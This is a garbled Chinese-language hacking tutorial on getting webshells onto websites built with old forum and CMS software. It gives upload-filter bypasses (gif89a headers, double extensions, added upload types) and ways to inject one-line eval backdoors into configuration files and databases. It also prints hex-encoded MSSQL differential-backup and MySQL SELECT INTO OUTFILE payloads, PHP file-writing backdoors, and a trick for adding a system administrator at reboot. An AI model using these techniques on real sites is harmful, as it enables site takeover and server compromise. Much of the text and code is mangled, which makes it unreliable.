。

php类型#xff0c;虽然没有提示#xff0c;其实已经成功了#xff0c;上传的文

件url应该是http://forums/images/smiles/下#xf…一、直接上传获取webshell

BOARD就是其中一例直接在心情图标管理上传。

php类型虽然没有提示其实已经成功了上传的文

件url应该是http://forums/images/smiles/下前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。

文

件名是原来的文件名bo-blog后台可以可以直接上传。

php文件上传的文件路径有提示。

以及一年前十分流行的upfile.asp漏洞动网

5.0和6.0、早期的许多整站系统因过滤上传文件不严导致用户可以直接上传webshell到网站任意可写目录中从而拿到网站的管理员控制权

二、添加修改上传类型

现在很多的脚本程序上传模块不是只允许上传合法文件类型而大多数的系统是允许添加上传类型bbsxp后台可以添加asa|asP类

型ewebeditor的后台也可添加asa类型通过修改后我们可以直接上传asa后缀的webshell了还有一种情况是过滤了。

asp可以添

加。

aspasp的文件类型来上传获得webshell.php系统的后台我们可以添加。

php.g1f的上传类型这是php的一个特性最后的哪个

只要不是已知的文件类型即可php会将php.g1f作为。

php来正常运行从而也可成功拿到shell.LeadBbs3.14后台获得

注意asp后面是有个空格的然后在前台上传ASP马当然也要在后面加个空格

三、利用后台管理功能写入webshell

上传漏洞基本上补的也差不多了所以我们进入后台后还可以通过修改相关文件来写入webshell.比较的典型的有dvbbs6.0还有

leadbbs2.88等直接在后台修改配置文件写入后缀是asp的文件。

而LeadBbs3.14后台获得webshell另一方法是添加一个新

的友情链接在网站名称处写上冰狐最小马即可最小马前后要随便输入一些字符http\\网站\inc\IncHtm\BoardLink.asp就

利用//等符号构造最小马写入程序的配置文件joekoe论坛某某同学录沸腾展望新闻系统COCOON

Counter统计程序等等还有很多php程序都可以COCOON

Counter统计程序举例在管理邮箱处添上cnhacker263.neteval

requestchr

在配制文件中就是webmailcnhacker263.net\eval

requestchr35%%这样就会形成前后对应最小马也就运行了。

%eval

requestchr35%可以用lake2的eval发送端以及最新的2006

客户端来连需要说明的是数据库插马时候要选前者。

再如动易2005到文章中心管理-顶部菜单设置-菜单其它特效插入一句话

马%%execute

存顶部栏目菜单参数设置成功后我们就得到马地址http://网站/admin/rootclass_menu_config.asp.

主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改

为asp从而得到webshellmsssql版的程序就直接应用了access版的代码导致sql版照样可以利用。

还可以备份网站asp文件为其

他后缀

如。

txt文件从而可以查看并获得网页源代码并获得更多的程序信息增加获得webshell的机会。

在实际运用中经常会碰到没有上传功能的时

候但是有asp系统在运行利用此方法来查看源代码来获得其数据库的位置为数据库插马来创造机会动网论坛就有一个ip地址的数据库在后台的ip管

理中可以插入最小马然后备份成。

asp文件即可。

在谈谈突破上传检测的方法很多asp程序在即使改了后缀名后也会提示文件非法通过在。

asp文件头加

上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的还有一种就是用记事本打开图片文件随便粘贴一部分复制到asp木马文件头修改

gif后缀后上传也可以突破检测然后备份为。

asp文件成功得到webshell.

六、利用数据库压缩功能

可以将数据的防下载失效从而使插入数据库的最小马成功运行比较典型的就是loveyuki的L-BLOG在友情添加的url出写

上%eval

提交后在数据库操作中压缩数据库可以成功压缩出。

asp文件用海洋的最小马的eval客户端连就得到一个webshell.

七、aspmssql系统

这里需要提一点动网mssql版但是可以直接本地提交来备份的。

首先在发帖那上传一个写有asp代码的假图片然后记住其上传路径。

写一个本地提

actionhttp://网站/bbs/admin_data.aspactionRestoreDataactRestore

methodpost

/form另存为。

htm本地执行。

把假图片上传路径填在“已上传文件的位置”那里想要备份的WebShell的相对路径填写在“要复

制到的位置”那里提交就得到我们可爱的WebShell了恢复代码和此类似修改相关地方就可以了。

没有遇到过后台执行mssql命令比较强大的

asp程序后台动网的数据库还原和备份是个摆设不能执行sql命令备份webshell只能执行一些简单的查询命令。

可以利用mssql注入差异备

份webshell一般后台是显示了绝对路径只要有了注入点基本上就可以差异备份成功。

下面是差异备份的主要语句代码利用动网7.0的注入漏洞可以

用差异备份一个webshell可以用利用上面提到的方法将conn.asp文件备份成。

txt文件而获得库名。

declare

values0x3C2565786563757465207265717565737428226C2229253E——

declare

adb_names0x643A5C7765625C312E617370

backup

DIFFERENTIALFORMAT——这段代码中0x626273是要备份的库名bbs的十六进制可以是其他名字比如bbs.bak

0x3C2565786563757465207265717565737428226C2229253E是%execute

requestl%的十六进制是lp最小马0x643A5C7765625C312E617370是d\web\1.asp的十六

进制也就是你要备份的webshell路径。

当然也可以用比较常见备份方式来获得webshell唯一的不足就是备份后的文件过大如果备份数据库中

有防下载的的数据表或者有错误的asp代码备份出来的webshell就不会成功运行利用差异备份是成功率比较高的方法并且极大的减少备份文件的

八、phpmysql系统

后台需要有mysql数据查询功能我们就可以利用它执行SELECT

INTO

OUTFILE查询输出php文件因为所有的数据是存放在mysql里的所以我们可以通过正常手段把我们的webshell代码插入mysql在利用

SELECT

OUTFILE语句导出shell.在mysql操作里输入select

0x3C3F6576616C28245F504F53545B615D293B3F3E

from

0x3C3F6576616C28245F504F53545B615D293B3F3E

是我们eval$_POST[a]的十六进制这种方法对phpmyadmin比较普遍先利用phpmyadmin的路径泄

是http://url/phpmyadmin/libraries/select_lang.lib.php.

就可以暴出路径php环境中比较容易暴出绝对路径。

提一点的是遇到是mysql在win系统下路径应该这样写d\\wwwroot

\\a.php.下面的方法是比较常用的一个导出webshell的方法也可以写个vbs添加系统管理员的脚本导出到启动文件夹系统重起后就会添加一

个管理员帐号CREATE

VALUESfputsfopen./a.phpweval\$_POST[a]

select

a访问b.php就会生成一个eval$_POST[a]的最小马。

如果遇到可以执行php命令就简单多了典型的代表是BO-BLOG在后台的php命令框输入以下代码

$sa

fopen./up/saiy.phpwfwrite$saeval\$_POST[a].fclose$sa

方式1

在随便一行写代码记住这代码必须顶着左边行写代码前面不可以有任何字符。

EOTeval$aprint

EOT而后得到一个shell为http://网站/bbs/index.php.

方式2

替换为那里可以随意写而后得到一个shell地址为http://网站/bbs/data/bbscache/wordsfb.php.

方式3

用户等级管理新建立会员组头衔你可以随便写但是千万不要写单双引号特殊符号升级图片号写a‘eval$_POST[’a‘]//

升级点数依然可以随意写。

而后得到一个shell地址为http://网站/bbs/data/bbscache/level.php.以上三种方式得

到webshellr的密码是a为lanker的一句话后门服务端。

最明显的就是某私服程序内的阿江计数程序可以通过http://网站/stat.aspstyletextreferer

即可把代码内容直接插入到计数系统的数据库中而此系统默认数据库为count#.asa我们可以通过http://网站/count%23.asa访

问得到webshell由于阿江计数程序过滤了%和将最小马改成SCRIPT

RUNATSERVER

LANGUAGEvbSCRIPTevalRequest1/SCRIPT替换代码内容处提交然后用lake2

的eval客户端来提交值得一提的是如果进到计数后台可以清理某时某刻的数据一旦插入asp木马失败可以清理数据库再次操作。